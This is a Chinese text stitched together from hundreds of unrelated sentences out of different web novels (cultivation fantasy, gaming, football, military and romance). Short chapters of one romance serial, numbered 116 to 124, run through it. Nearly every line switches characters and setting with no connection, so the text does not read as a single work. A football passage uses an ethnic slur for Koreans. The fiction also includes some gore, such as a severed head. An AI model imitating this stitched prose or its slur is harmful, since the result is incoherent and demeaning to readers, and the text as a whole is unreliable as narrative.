只见这壮汉脸颊泛着不正常的红晕,好像喝醉了酒似的,明明吸得很费劲却依然捧着烟头猛吸,一根烟一口气就能抽个精光,然后就开始扶着门框咳嗽起来。
“我的头好痛,好像要裂开了!”蓝梦琪难过的在他的怀里扭动着。
曹格如鹰一样的墨瞳在黑暗中格外的明亮,怀里的人睁开着眼睛他是知道的……倒不是因为他有多了解李静儿,而是她的眼睫太长,眼帘微动,就扫到了他的肌肤,痒痒的。
第一卷 第116章 他就是个杀人凶手!
“好吧,记得早回来,我们等你一起出去吃饭。给你也庆祝一下。”无为说完,没有多想拍拍罗伯特的肩膀,示意他开车走。
“你们可出来了,刚才听到里面又是枪声又是爆炸声把我急坏了,说实话我又不敢进去,只能在这里干着急。”李辛同如释重负地说。
三番两次的被打断冥想,怒落那火爆的脾气也顿时便涌了上来,大骂了一句,再看看天空,夜色已经开始渐渐的消散,一丝丝鱼肚白缓缓的露了出来,天已经亮了。
南宫亦儿吃惊道:“你居然没睡,那你还装睡!”说完假装生气了捶了他胸口一下。
前往镇长府的路上,拉舍尔大致了解了一下复仇之魂目前的处境。
尤其还是在耶诞节这天进行表演,那可是所有歌舞团当初做梦都不敢想象的事。
人的大脑在想着相同的东西时,所发出的脑电波是相同的,当两人无意之中想到一起,两个大脑的电波就会产生共振,让各自大脑中的想法越来越强,这就是所谓的心灵感应。
博格尔一呆,只见无数的水箭突然凭空消失,变成大片的水花落在所有的攻击目标上。
连洗了数遍,夜云身上才再没有那种令人作呕般的刺鼻味道,换上了一套干净的衣服,顿时只觉得浑身一阵舒爽。
带着宋语婧来到那间特殊的屋子,苏杭找到空间裂缝,拉着她步入其中。
前方,白衣人影听到身后风声呼啸,待转头看去之时,尘离已夹着凌厉剑气到了眼前。
就算这位淮王殿下此事掺与傅家家事欠妥,可傅琨还能真当作训晚辈一样训他不成。
因这一份缘,她和罗绮年比别人多了一份亲近。面子情走了几遭,彼此为对方品性才华倾倒,颇有几分相见恨晚之一。熟悉她们的人戏称“忘年交”。
不过,要是那位纪元代理商人的潜力极强,再加上药材数量没多少的情况下,自己也就没必要去了。
这次,夜锦衣确定自己听到卫卿笑的话了,但她没有吭声,因为她不知道该说些什么?
“那就多吃点,饺子包的很多呢”袁氏笑着说道,因为担心饺子不够杨家众人吃,所以杨李氏和顾氏袁氏三人将和的面都给包了,整整两个帘子饺子都给蒸了。
再度抬眼,望向被自己两人百般轻视的这个家伙,脸上依旧挂着那副笑眯眯的神情。
视频中,删除了血腥的场面,而戴着面具的神秘人,与几个匪徒对战的画面,则完完整整地被放了出来。
“你们谁敢动一下?我就把这牌位给砸了!”厉北掣高举着牌位,满脸得色的厉声威胁道。
火焰生了起来,陈易抓起殷惟郢的手,慢慢往棺材下方的空间而去,那是一条狭长黝黑的甬道,两侧泥土里泛着寒气,诡谲的阴森感扑面而来。
一瞬间就像按下了暂停键,就像时间停止了一样,所有人都震惊的看了过来。
梁安晚眉心一动,她既然敢在数万网友面前使用这些本领,就已经做好了会被人发现、询问的心理准备。
当那座巨大而庄严的佛像被运送到寺庙时,几乎所有的僧侣都被吸引住了目光。他们聚集在一起,眼中闪烁着敬畏和惊奇之光。
妖族的利爪只有越阶瞬间便会被剑气绞成肉泥,为了不让血液横飞,楚运的剑中温度极高,妖族的血液只要触碰到便会化为红色血烟,主打一个优雅。
和隔壁一样,加入了T病毒原液以后,身体素质大幅提升的同时,体型的限制被解除,可以随意塑造造人的模型。
如果梁安晚也束手无策的话,那他只能做好死后被阎王判官罚进十八层地狱赎罪的心理准备了。
刚才有头长着三个头的黑牛在地宫里冲撞,走过一个拐角还碰到了九个头的白虎,而那隐蔽的黑暗里,那青鴍好像还盯上了自己,时不时伺机而动。
不知道为什么,在被叶凡这么一看之后,荣声瞬间感觉到一阵心慌。
结果就是这样,奥蒂西亚和巴罗威都是伤痕累累,但战胜了来势汹汹四众将。
最后,又是在方逸尘的手再一次不老实落到了下面某个不该去到的地方的时候,在王语晨一阵手忙脚‘乱’的挣扎中结束。
“明明一直都悄无音讯却突然有了模糊的情报,总感觉有刻意释放烟雾的可能。”带着一顶佩羽毛的圆毡帽的军官玩味的说道,与众不同的打扮一眼就能看出他是为首的负责人。
老唐和一种牛头人勇士那魁梧壮硕的身躯,就那样矗立在那,让高等精灵‘乘客’们的心中莫名的安定了下来。在一旁游侠部队的帮助下,三千多高等精灵平民和一千多伤员,开始一个接一个的跨坐在作战科多兽的脊背之上。
他所震惊的是,寻常人中,极少有人能够是他口中那个“老九”的对手。虽然他看不出下面那个年轻人能够打得过老九,但是以苏月的眼力多半不会看错,她既然那么说,看来老九多半不是他的对手。
夭灾军团的炮灰就像是无穷无尽一般,面对这些就好似斩不尽、杀不绝的行尸走肉,老唐也无奈的采取了换防的策略。
施滕瓦斯投了完全赞成票,另外几名分别负责工业、饮食以及海面警戒的军官也没有异议,林恩便这样将情况和计划一并上报给了目前仍留在“避难所”基地的帝国掌权者。
“不嘛不嘛!我就是要哥哥你帮我画嘛!”见月影枫不肯,宝儿拉起月影枫的手开始撒娇了起来,声音因为刻意甜腻得就好像糯米那样,让人听了一阵舒服。
“皇兄,你在说什么呢?”没听清卡米尤的低声自语的尤菲米娅好奇的转过头来。
话没说完,林恩便听一阵急促的马蹄声,他转过头,只见帕特男爵骑着那匹黑sè的骏马飞驰而至,黛娜则被甩下了一大截。
第一卷 第117章 再见了,顾彦廷
江晚絮瘫坐在地上,全身的力气仿佛被抽干了。
她想反驳,想说顾彦廷不是那样的人。
可是,顾彦廷在商场上的名声,她是知道的。
狠辣,无情。
斩草除根。
那是他的行事风格。
对待敌人,他从不手软。
而当年的舅舅,对于顾彦廷来说,只是一个不肯听话的蝼蚁。
踩死一只蝼蚁,需要理由吗?
我看了看四周,双眼突然间定格在门口那黄木棺材上,月光笼罩在这黄木棺材中,显得有一种诡异的气氛,砰砰的敲棺材的声音,让这棺材盖微微跳动。
所谓的活过来,并不是指这个纸人已经变成了活人,而是指的他们有了灵性,能当个迎财童子。
光华一敛,露出两个中年人的身影,左面那个身穿淡黄色长袍,右面那个穿着一身青袍,二人都是二品金仙的修为。
“你是谁?你可知对我龙族一脉不敬的下场?”龙老也没有别的办法,只能拿龙族来压阵了。对方有这么强大的意念,想想也不应该是地球人,如果是外星人的话,说不定还能听过龙族的名字。
35米,我几乎能够听到大德鲁依在行会频道中的喊话声。圣骑士胯下的两匹战马焦躁的踢踏着地面的草皮,鼻中喷出冲刺前的愤懑。
‘抽’空,林帆看了一样远处的状况,不由得大喜过望,远处,两只冲到城‘门’口的BOSS,已经被破天等人干掉了,也就是说,空中编制除了面前的这只魔雕君主,和那一万多普通怪物之外,已经算是全军覆没了。
只见假龙世海横尸地上,那把带着寒光的砍刀插在死去的假龙世海面前,鲜血依然顺着刀锋往地面上流淌着。
视杨萍为亲人,可没有想到,这种亲人是这种狗模样,真想一剑杀了她。
秦岩非常自信,让他们三个对战任何一个天师,他们都不会落于下风。
兰子义闻言扭头看了看被抛在身后的贼寇,又大概看了看四周,眼前最通畅的是从右前方贼寇营寨通下来的一条路,刚才贼寇就是从这里下来的。
郑老庄主能撑到今时今日,已经算是一个奇迹,周兴云万分佩服他老人家的意志与身体根基,换做普通人,恐怕早登极乐了。
陆风两人也是走出了饭店,来到了停车场,直接上了蓝婉儿的兰博基尼。
“我是武藤门弟子麦琴,家父麦长龙乃武藤门执掌之一,孟青苏则是我外公。”麦琴向刘瑜飞介绍之时,双目却死死瞪着周兴云,深怕他不知道她是来寻仇的。
无名立马瞪大了眼睛,这么说来,叶洛岂不是真正的王者了,岂不是权利比他还大?
慕容雪菡可不愿意将秦岩的爱分享给别人,因为无论任何人、任何鬼,都喜欢独自享受一个男人的爱。
这是好事,蓝水仙一直卡在元婴巅峰,此时提升实力应该值得高兴,但徐春秋几人的脸上却挂着忧虑。
他们不认为陆风能够战胜三大封神中期的修士,韩东却不会如此认为。
个性有些呆萌,平时沉默寡言。某次看到塔兹米裤子的拉链开了,以为是流行时尚便没有出声[2],令对方颇为尴尬。
事实上,仅看瑕阳君代表魏国出面为使节,他就已经猜到了几分,但即便如此,当瑕阳君亲口说出‘承认少梁独立’这句话时,他仍不禁感到意外。
第一卷 第118章 别再遇见我了
天亮的时候,雨停了。
京市的天空蓝得像洗过一样。
顾彦廷醒来的时候,头有点疼。
昨晚照顾奶奶,又处理了一些公司的紧急邮件,睡得很晚。
他习惯性地摸向身边的位置。
空的。
他睁开眼才反应过来,这是顾家老宅,不是四合院。
顾彦廷坐起身,揉了揉太阳穴。
嘴角却不自觉地勾起一抹笑。
才分开一晚上,怎么就这么不习惯呢?
现在的云梦飞翔没能发现自己的变化!他的心智,理性正在被仇恨慢慢的吞噬!已经分不清楚好人,坏人,一切的一切,只要是可以接近秦宫,达到自己的目的!他都会选择将他毁灭。
队长虽然也有一些武艺,但如何是修真者的对手,从来也没有见过有人能够徒手将精钢所制长枪给劈成两截,所以顿时愣在了原地,难以置信的看着手中的长枪。
一次次的冲锋,一次次的复活。一局又一局,曲志恒也不知道过了多长时间。太投入了,甚至连林雅馨来自己的房间都没注意到。
不过随着奴隶团体的逐渐临近,周围的人也看出了点眉头,对方似乎是瞧准刘晔而来的,都迅速远离了老刘。
王宇和夏天一看这样,心理咯噔一下,不会是离婚了吧?这不是哪壶不开卡提哪壶了。
听到胡清的话,他的心中又酸又涩,又悔又恼,五味杂陈,真是眉间心计,难消此中味。
从车站到家,曲志恒跑了四十多分钟。即使在这早晚两头已经很凉爽的秋天,也是出了一身大汗。
“清儿,我们再不会分开,不管你走到哪里,我都会在你身边陪着你。”他的眼晶晶闪烁燃亮暗夜。
“杀死塔兰,赏金万两,立升将军之衔!”何双详则力图激起人们的贪欲以压倒恐惧。
李琪是个聪明人,立即明白了元封的意思,一颗心便放回了肚里。
抬头看了一下四周没有看到人,不由得吓得一声哇的就哭了出来,哭得那叫一个闻者伤心,听者落泪哭的老委屈了。
“一千头也不错了,对方也才五千人,一千头牛直接狂奔过去,他们还不彻底崩溃?到时候我们衔尾杀过去便是!”孟获闻言却是笑了笑,若是千军万马那还两说,对付五千人一千头野牛哪里还不够?
自从离开东武帝国学院,她一直都戴着人皮面,这回算是第一次揭开。
如何把游击战发挥出最大的优势,如何把山地这个环境发挥出最大的优势,这些都在这几年里不断被拿出来探讨。只因为每提升一点,己军阵亡的概率就会提升一些。
修炼一途,天赋只是入门的东西,究竟走多远,除却天赋,还有其他的一些重要的东西。比如心志,比如运气。
卡蜜儿看了看这些伤口,又注意到旁边那两把长刀,不由得问道。
不过正当他想要向前一步的时候,两个西班牙水手却端着燧发枪朝着一起靠住,面色不善的盯着这个胖家伙,身形也挡住了他想要向前一步的打算。
等到第三日,太阳从东方升起时,时玉望着东方的朝阳,长长吐了口气。
而处于碎片中心的沃森脸上原本皱着的眉头也已经平缓下来,即使失去了长椅仍然有一层暗能在他的身上,让他不至于直接一屁股做到地上。
“奴头,我们又回来了!”船只缓缓靠岸,船长下了船,看着带着卑微的态度迎上来的矮子,笑吟吟的说道。
第一卷 第119章 我该拿我们怎么办?
顾彦廷死死地捏着那张纸。
纸张在他的手里变形,扭曲。
就像他此刻的心。
“别再遇见我了……”
“别再遇见我了……”
顾彦廷低声重复着这句话。
为什么?
为什么?!
明明昨天还好好的。
明明昨天还在给他包饺子。
明明昨天还答应等他回来。
为什么一夜之间,就变成了这样?
如果有来生,别再遇见我了?
这是一种多么决绝的诅咒!
想到这里傅彦东心里更是憋屈,原本想着这次比赛主要对手就丁建忠,最多加上一个陈光林。现在倒好,自己第一场节目竟然沦落到跟邓男子一个名次不说,最后还遇见一个扮猪吃老虎的莫奇?
下巴是连接大脑最多神经中枢的地方,攻击这里很容易会造成对方晕厥过去,那些拳击场,拳手都很喜欢攻击对方这里,只要一拳就可以让对方陷入短暂的眩晕中,就可以增大比分了。
却不想他话音刚落,双腿就忽然仿似灌铅了一般变的沉重,突如其来的变化让纪子龙无所适从,居然一个跟头摔了下去,结实的肉身将大地都轰砸的一声巨响。
“有他在,我们与贺家就有缓冲,现在我们的势力还没有完全稳固,必须有一段发展的时间。”凌然分析道,赵之才进入决策中心没几天,所以还需要锻炼。
得到了这个消息,已经乘坐专列,准备返回柏林的希瑞克,在列车上,下大了一系列的新的指令。
看着不分青红皂白就要朝冯昊砍来T-1000,冯昊挥舞着方天画戟,一戟从它的脑袋看下直至丹田处。
“我法号老司机,真名冯昊,你切要牢记在心!”冯昊一本正经道。
待他走后若冰陡然间出现,看孙立走远后,纤手轻舞,一个个白点从呼啸林中飘出到达若冰的手中,然后神色平常的离去。
此时,他们从汽车上卸下来了一捆捆的铁锹,给每一名俘虏,发了一把。
“既是这样,那今日这一战纪子龙可能要落败了,甚至会被斩杀,仙族血脉,威能不可度量,纪子龙的求仙生涯,怕是已经走到尽头了。”听到君浩竟然是三仙族之后,一些人已经开始预测纪子龙即将陨落。
穆奇兵收下资料,将佣兵徽章收好后,便走出了佣兵协会,随后他牵着菱角马,在城内找了一个落脚的地方,暂时住了下来。
地面上随意的丢着金子,兽皮挂在了墙壁上,整个房屋最中心燃烧着火塘,将四周围的水汽给烘干。
冷不丁的,惩罚系统冰冷的话语声,突然在周阿仁的脑海里回荡了起来。
剑堂弟子依然十分自信地每日练剑,自信剑堂的生源从来不会出问题。
影子擅长的是暗杀,哪能打得过白虎,一看白虎找上自己忙不迭的就开始逃跑,白虎就却没有留手,全力施为的去灭杀影子,他还要腾出手来去帮助别人。
“喜见过诸位高士,见过孔师。”杜平喜向前,拱了拱手说道,然后在下首的位置坐了下来。
君无极等人并不知道柳儿耍的花招,管家虽然猜到了,却又急着带君无极去救乌兰朵,根本没工夫收拾柳儿。
“王翦,拼是可以拼一场,但我们要为卫国老百姓着想。”徐宝说道。
脱离战场后,仅凭借着一口气,穆奇兵潜行了十几里地,如今没有追兵出现,说明暂时还是安全的。
“霍北杉,我要离开了。”苏筱柒离开身体有点久,她怕京市牛鬼蛇神太多了。
第一卷 第120章 逃离
拿着布袋子的黑衣人慢慢地打开了袋子,露出了里面何清凡的脑袋,还很有血腥感,脖子处血淋淋的,看见了就有一种反胃的味道。
台阶下,是十几个壮仆。站在最前面的,三十来岁,皮肤白净,五官清秀,一看就是个能言善说的。
怪不得洞窟之内的干尸千千万,唯独七色石四周方圆数百丈的范围没有一具干尸聚集,原来七色石的光芒能够净化干尸。
燕城之内所有人都看到了这个异象。见国主竟然跪了下來。也都纷纷下跪。口中激动的道。
鲲鹏子很悲观,现在它的亲人就只有木神树了,如果活着的亲人都没能守护住,也就不要提死去的亲人复活了。
这过程并不长,前后不过一刻钟,可一直含笑着,姿态雍容优雅的王弘,他背心的衣裳,已全然汗透。
有了新版【日程安排】,跳橡皮筋能提高的那些数值,就显得没那么难得了。
话音还没有落下,她已哗地一下拉开了帏幔。随着一道阳光射入,缩在被塌中,头发依然盘得好好,不曾仔细解开的陈容出现在众人眼前。
如果他当众甩开自己的手,那么她就有理由装作黯然退场,离开这个“伤心”地。结果嘛,左不过是维持以前的传言——某人不待见她这个未婚妻,仅此而已。
巫琳娜像是没听到一样,继续哄着允儿,看来她是早已习惯了南宫羽的冷言冷语。
管家看到赵莹雨的面色狰狞,好像随时都要动手杀人。他也不敢骂的太过分了,还有李二蛋在身后呢,明显就是站在赵莹雨这边的,要是继续拦着不放,八成自己也要被灭口了,还是先忍忍再说吧。留得青山在不愁没柴烧。
“事情现在已经清楚了,你是无辜的。”带队的制服人员对李二蛋说道。
姜延凯在屋子里转了一圈就出来,让杨大郎帮着烧水蒸干粮,天热,在睡觉的屋子蒸了干粮,那今晚就不用睡觉了。
云景却是为了两日后的政变正在忙忙碌碌,皇帝也是被这突如其来的计划惊讶。
通天天尊山可比其他两座仙山恢宏多了,而且这里的人气也非常足,经常有人飞进来飞出去的。
李二蛋也知道她的意思,也不说什么,事实胜于雄辩,光是嘴上说没事儿,可是人家没有得到妾侍的真名也是白搭的。
不过未名集团方面向木叶委托任务,让掌握木遁忍术的带土帮忙植树。
“那个司机,还有…夏管家?”方恩诺惊呼出来。话音刚落,原本还难受的不行的方子柔,也赶忙看来,血肉模糊的两人直接将方子柔吓的晕了过去。
想到自己的行为,会不会让老安人觉得自己完成了最后一个事情而做糊涂事。
虽然闫闹闹什么事都没有她很不爽,但能成功的让那个男人甩了她,还是很不错的。
艾琳娜甜甜的笑靥猛然一僵,尴尬地发出了几声干笑,在邓布利多无声的目光压力中,垂头丧气地乖乖坐回了钢琴前的皮质沙发椅。
几乎用上了他现在所有的力量,他一把甩开身后按着他的人,气怒的扬起还带着手铐的手就冲着尤冥劈头盖脸的砸了过去。
“不急。等到代言结束后,自然会将这些东西还给你。毕竟,里面的东西又不是拥有八块腹肌的猛男,能让人一饱眼福。”苏沐悠悠的说着。
他们公司就在这两年里捧红了两位明星,已经挤入了当红流量明星的行列。从那两位捧红的明星来看,他们公司的包装与定位走向把握的很不错,可以看得出来上位者眼光不错。
因为不是人类,所以很多东西都学得一知半解。因为不具有人类的思维系统,哪怕他记住了某些准则亦无法清晰明了地理解。
悬崖太高了,这些人虽然能够修炼,但是以他们的实力,丝毫出不去的,所以需要她们这些高层耗费玄力太送他们出去。
墙壁上挂着的历任校长画框上,此时都覆盖上了一层深紫色帷幕,没有留下任何缝隙。
惊吓之下的宁岚儿用的力气特别的大,胖子被她推倒,直接一屁股摔在了地上。
“你们都别气,有人比咱们更急……”南叶望着窗外摇曳的椴树,唇角弯出一个漂亮的弧度。
可是皇室的人看习惯了的,一是背影的凄凉,二是到达高位之后的耀武扬威,这在他的眼里根本就不算什么。
并不是将丹田内的内劲‘抽’空这么简单。甚至是将在身体中的每一点内劲,每一点修为都会散去。
第一卷 第121章 外婆的真心话
“是江老师吗?”
黑暗中,一个手电筒的光束晃了晃。
一个穿着军大衣,戴着雷锋帽的男人走了过来。
男人大概五十出头,皮肤黝黑,笑起来一脸褶子。
这是村支书,王贵。
“是我是我!”
外公连忙迎上去。
“老王啊,这么晚还麻烦你。”
王支书看到江晚絮的时候,眼睛明显亮了一下。
乖乖。
这城里来的姑娘就是不一样。
跟个仙女似的。
“阿阎,放过他吧!我不喜欢你这个样子?”看着面色冷峻的阎狱,叶霓裳感觉现在的阎狱有些陌生和害怕。
如果,两人同侍的话就不存在这个问题了,更重要的是,这是张知节来到山城的第一天,难道就败掉张知节的兴致吗?
回到墓室里,发现那犼正在给那莽牯朱蛤训话,说什么你要好好收拾心境,准备迎接新的生活什么的。
不过综合江天那震古烁今的妖孽战力资质,无上神座,可能是看中了他的潜力,才认江天为主的。
“最好等下死在峰斗场上。”宋卿心中冷笑,仿佛已经看到了,萧阳被幽璃碾压的场景。
“呜!艾、艾克大人也来了吗?”原本神气活现的杜芭莉在见到了前方的艾克后明显身形矮了一大截,单手剑往盾上拍了拍想要振作士气,只是眼中还是不停的瞄向艾克,一副做贼心虚的样子。
哨声未落,一个黑影倏忽而至,如水的月光照射在她的脸上,显得更加清冷,此人正是那个引起事端的瘦削男子。
在确认了马匹已经脱缰跑掉之后,发现骑着路奇来到了大营地,这是矮人们为数不多的正面见识这只巨大的老虎。
手掌在漆黑的房间中,再次抓了几下,萧阳双眼微闭的挑了挑眉尖,脑海中的困乏,使他思考的能力,大幅度降低。
“算你运气好,等下了风魔崖,我要你好看。”赵瑜冷冷的看了萧阳一眼。
不等唐健等人反应,唐秋的骑兵就被这突如其来的射来的子弹打的人仰马翻,整支骑兵队陷入一片混乱,人马相踏的惨剧不断生。
龙凌脸色顿时一变,凝重的看向白战天,对方的强大,他此刻很是清楚,但不知道九阶气圣巅峰强者出手,会是一个怎样的效果?
天空飞着两万人马,就好像蝗虫肆虐而来,正午的阳光都因之黯然失色,城门上的军火专家,神情平淡,双脚却在打颤,纵然他极力让自己的表情看起来那么平淡,眼神那么不屑,可那双腿已经深深出卖了他的内心。
尽管着急之下,风萧萧命令下得模糊,但红棍堂早已培养的默契让他们都明白风萧萧的指示。
她看珍珠:“家里就没有说什么时候来人?”看来现在她很有必要、非常有必要的和家里的人谈谈才成。
渠胖头这一顿忽悠下來,还真的让陈虎蛋直了眼睛发起了呆,就见陈虎蛋眼睛直勾勾的的盯着冰洞前方,咧着大嘴脸上竟然隐隐露出了笑意。
“查清楚了,守卫秦皇岛的北洋新军足有三个团,兵力多达三千五百人!”中情局的情报人员说道。
杨妄猜这个就是左青衣,估计和左冷玄有一些血缘关系吧。这些人就是神渊门的来人,左青衣明显是剑长老风黎那个级别的,至于其他人,都是通天境,而且也估计普遍都是通天境第二重以上,总体实力确实强大。
虽然自己跟木蓉的这层窗户纸没有挑明,但是自己去她家,她妹妹一直称呼自己做姐夫,虽然没挑明,但是跟挑明了也差不了多少。
第一卷 第122章 媳妇儿
外婆看着江晚絮,眼神温柔得能滴出水来。
“外婆活到这把年纪,早就看开了。”
“死人已经死了,活人还得活着。”
“顾彦廷那孩子,他看你的眼神,是藏不住的。”
“那是把命都交给你了。”
“如果你舅舅在天有灵,他也不会希望你为了给他报仇,毁了自己的下半辈子。”
“他希望你幸福。”
江晚絮呆呆地坐在小马扎上。
我觉得他这个提议非常不错,当即就和他换了位置,用了几秒掌握了点击鼠标的技术之后,就认真地玩了起来。
“不不不……”我赶紧摆手,说道,“我……我没事。”抬起头来的时候,正好与孟姜和桑青的眼光遇到,她们脸上也都是疑惑和忧虑。就连越璧也收了他那别扭的神情,有些不可思议地看着我。
见到敌人招式重复,林道远知道对方已经技穷,也没心情和他玩闹,首次发动攻势。
“是的,现代战争,就是人操纵机器杀人的战争,而不是像你们一样,人杀人的战争。”银尘瞄准了救生船,正准备发射鱼雷,就看到声呐显示屏上那条船开始翻滚机动起来。
然而“残酷”的现实不动如山。34号,也就是帝王近臣马德比凝望着赵月诗傲人的身段,一瞬间精虫上脑,开出7800两黄金的高价。
此时谷中劲风乍起,吹动砂石枯草,卷起灰色的尘雾,直向谷口的我们扑面而到。东离子蹲低了身形,目光炯炯地向前望着,一动不动,像是在专注蓄力一般。
这把剑的硬度已经超过这个世界上所有的金属,除了同样珍品级别的神兵,它几乎可以斩断任何东西。
第一眼看见还有点不敢相信呢,周公子赶紧揉了两下眼睛,然后才惊呼了一声:“哎呦,辣子你怎么来了!”她这声惊呼要多亲切有多亲切,要多惊喜有多惊喜,好悬没把余兆光给气死。
“各位商国的公民、国民、以及所有商国的朋友们,很早就想和大家谈谈话,不是以一个王者的身份,而是以一个同样的、商国百姓的身份。
众人立即停下了自己的嘴巴,拿着各自的武器动作娴熟的趴在了J的旁边。
猴妖已经管不了受伤了,它只想杀了萧峰,又是一掌狠狠拍在黄钟上。
跟虎鲸一家告别后返回艾丽斯城堡来到海底母巢实验室,发现所有工作人员都处于一种亢奋状态。高风非常好奇走进白星专属房间,看到人鱼公主娇美的背影全神贯注忙碌,根本没有发现有人进来。
并且,他身上有一种寻常男人没有的从容,或者说是温吞,无论是走路,说话,还是做事,都是慢悠悠的,好似天塌下来在他面前,他也无动于衷,平静接受。
“卡特先生,请跟我到诊疗室一趟,我们严重怀疑这位先生提供的药剂,含有抑制神经中枢的违禁药品。”三名其中一位神情凝重说道。
双方又重新回到了同一起跑线,不过上半场剩下的时间谁也没有再掀起波澜,切尔西攻了半天,怎么也要喘口气,曼联虽然丢球了,可保证不落后进入中场才是关键。
于是一时间场内嘘声四起,电视机前的棒子们也是大声喝骂,很得不瓦尔迪早点去死。
瓦尔迪鬼使神差的数起了棒子场上人数,灵光一闪,他知道棒子究竟有着什么样的打算了。
第一卷 第123章 你以为你能逃得掉吗?
王大壮干活确实是一把好手。
后院的三分地,在他手里就像是玩儿一样,不一会儿,土就被翻得松软平整。
“江妹子,你看咋样?”
王大壮抹了一把汗,咧着嘴笑,露出两排大白牙。
眼神清澈愚蠢,透着一股子质朴。
江晚絮递过去一杯水。
“太谢谢你了,大壮哥,要不是你,我得干一天。”
“你确定我从你身上起开了,你还要起来打我?”陈秋一脸古怪的看着林思颖。
世人常说水火不相融,但衍化原理中恰恰有一条由相克而产生的变异,蜕变成一种极端。
与此同时,整片海域的海面开始波动起来,似乎有什么恐怖巨兽在下面潜藏着,一股凝重而狂暴的杀机开始在这片海域飘荡起来。
“你可真是个傻子,我答应你了吗?你就敢带我走?真不怕我一下控制不了自己杀了你?”天心蹙着眉头,脸上有怒意。
这时,季鱼脚下一瞪,黑光冒起的同时,斜扑着向前冲出四五米远,在影族武者难以置信的目光下撞进对方胸膛。
但想来既然杂物店回收,价格肯定不高的,尤其是在赤炎城里,大家都很缺星币的情况下,再低一点说不定也有人抛售。
在这些刚冲出来的三九医药集团保安注视下,陈秋一脚踢翻兰博基尼青年。
哪个孩子的成长,不是父母含辛茹苦的付出之后,孩子才能一点点的长大?可自己身上,接连发生这样的事情,无恨,在自己不知情的情况下,一眨眼十二岁了;媚儿,在自己知情的情况下,突然就变成八岁了。
说着话,车子拐了个弯,远远的就能看到军区家属大院外面那片绿油油枝繁叶茂的绿化带。
思虑及此,周景明立即抓起手机,翻到程楚的手机号码拨打了过去。
\t省委还没有给出结论,但是,逸阳市委却不能不有所动作,针对塌桥时间处理了一系列的人。
梅童生在胡思乱想,就听到杜村长惊讶出声。顺着杜村长视线望去,就见桂家门口停着好几辆马车。
“不管了,兵来将挡,水来土掩。等娱乐城走上正轨,我也就要前往西大陆准备焚决了,而一旦有了焚决,就意味着无尽的丹药和异火宝藏入手。
他当然是刻意将这尊地脉灵神留在秘境,毕竟在大罗界中山神土地并没有多少人信仰。
那王三儿十五、六了,比桂重阳大了一节,可还是老老实实叫了一声“三哥”。
这不过是龙鳞飞自欺欺人的说法罢了,但是在龙鳞飞的心里,他宁愿相信这种自欺欺人的说法乃是事实。
“娘亲真是好演技!”龙鳞飞瞪了田雪一眼,扔下了这句话,袖子一挥,转身离去。
不过也是很正常,这十万傀儡来自于凡人修仙传中最强大的一批存在炼制,那样的存在挥挥手就能灭了他们,炼制出的傀儡自然也不会差。
擎天真君看着两头混沌灵兽的庞大身躯,瞬间爆成一团血雾,再没有了生命的气息。他的神色很复杂,他和巨人王、骨鳄王,也算是打交道那么长时间,谁也奈何不了谁。
此次陆铭孤身回来,助力只有羽清那十来号人,想封锁张府灭门的消息无疑是痴人说梦。
在前往基地大厅的过程中,姜惊蛰压着声音尽可能简短地给陈景介绍了一下局势。
第一卷 第124章 别死了
他游了过去,通过洞口看向外面,发现是一片极为黑暗的水底世界。
纷纷扰扰的欧洲杯结束了,除了有欧洲杯任务的球员,其他球员已经基本进入了休假的倒计时,再过几天最多一礼拜,就将返回球队进行恢复性训练,消灭自己在度假期间增长的脂肪,为新赛季做准备。
“可是我们不主动招惹中国,他们就会眼睁睁看着我们把荷属东印度一口口吞下去?”武田亨疑惑地说。
烛九阴说着将自己聚力已久的毁灭大道倾泄而出,无尽的黑云再次笼罩住这些人,一瞬间在场的众人皆感受到了无边的神威,感受到了死亡的威胁,因为烛九阴将那‘盘古斧’隐藏在了这无边的黑云之中。
和之前吴天一样,李夸父伸手往虚空一抓,伴随着一道刺眼的金光,五星神器三叉戟出现在了他的手中。
他知道以黑衣叔叔的性情,当年尽管让步惊云自行离去,也一定会为他将要面对的遭遇而耿耿不安。
不过虽然印第安纳步行者队在防守端连续的失位,被吴大伟给打得甚至有些落‘花’流水的样子,但是他们在进攻端端的表现,其实也是很让克利夫兰骑士队感觉到头疼的呢。
这话一说完,不知道怎么回事,明明不想说这番话、舍不得现在的位置的阿克顿,忽然觉得心头一阵轻松,仿佛身上忽然放下了一块大石头一般。
他们最怕的就是那些稀稀落落的枪声,基本每一声枪响就有一人爆头,躲无可躲。越躲反而越危险,先是几个军官在几秒被没有了脑袋,接着就是那些平时的老油条、逃命高手被击毙。
烛九阴没有去阻拦始皇赢政的任何举动,不仅他没有阻止,同样也阻止烛战去阻止,对于烛九阴来说,这是一场考验,考验南瞻部州这些刚刚加入到巫族的所有人,给他们一个选择的机会,也能够消除南瞻部州内部的风波。
这样自己必然是会成为无比强大的存在,更是可以轻易的将一切控制在自己手中。
医院里有不少人,听见吵闹声,都跑过来看热闹。朱利利不知道这些人里头有多少看过那段视频,她只知道,她的生活不会再像以前那么平静了。
至于夜无寒,则像是吃了大便一样,只敢恶狠狠的盯着奕飞,但却也不敢有任何举动。
自己曾经是这个世界的掌控者,世界也是一切欣欣向荣的,然后出现一个可怕的人,正是世界王。
“我们的计策奏效了,柳府没草药炼制青藤万年丸,现在开始限量卖了。”沈老爷恨恨的说道。
“自然是极厉害的。”林墨不傻,虽然不清楚吴正道的具体实力,但是十分确定他强大无比。
大致看过之后,林墨心中窃喜,这武技看起来极其不错,名为大摔碑手,乃是一招从天而降的掌法,并且还附带灵魂攻击。
绝世强者,在洛阳皇宫大战,此番不仅仅让大汉政权,正式消亡。
叶晓皱着眉头思考,沉默着点头,抬头看着那些楚天骄钉着木板上的事件,那些事件毫无疑问全部与龙王有关,而且这些事件全部都集中在近一两个世纪,在这一百年的时间内,龙族的活动频率正在以指数级的倍率上升。
江仁任由发丝被吹起,感觉自己原先对于寿命的预估,还是太过乐观。
连续激烈的碰撞声纷纷被封锁在下渊之下,半点也没传上来。罗玄低头看着如垂死般剧烈挣扎的魄军,魄军的人魂却在此时乍然醒来,他满目震惊地透过神曌御界与罗玄上下对视。
此时,他刚刚结束了一轮巡查,看着到了用膳的时间,也就回到自己房中准备洗手净面,用了餐再稍稍休息一下。
这三个点的好处费本来就是当初说好的,都是自家兄弟也就不必客气了,掂了掂手里的钞票,硬铮铮的钞票攥在手心里的感觉真的很奇妙。
“你耍过我多少回?只许你耍我就不需我耍你吗?把这东西拿开!”在这人面前永远都可以这么任着性子,不讲理,只是,方才没想过耍他,方才看着唐影的笑,确确实实就想答应了。
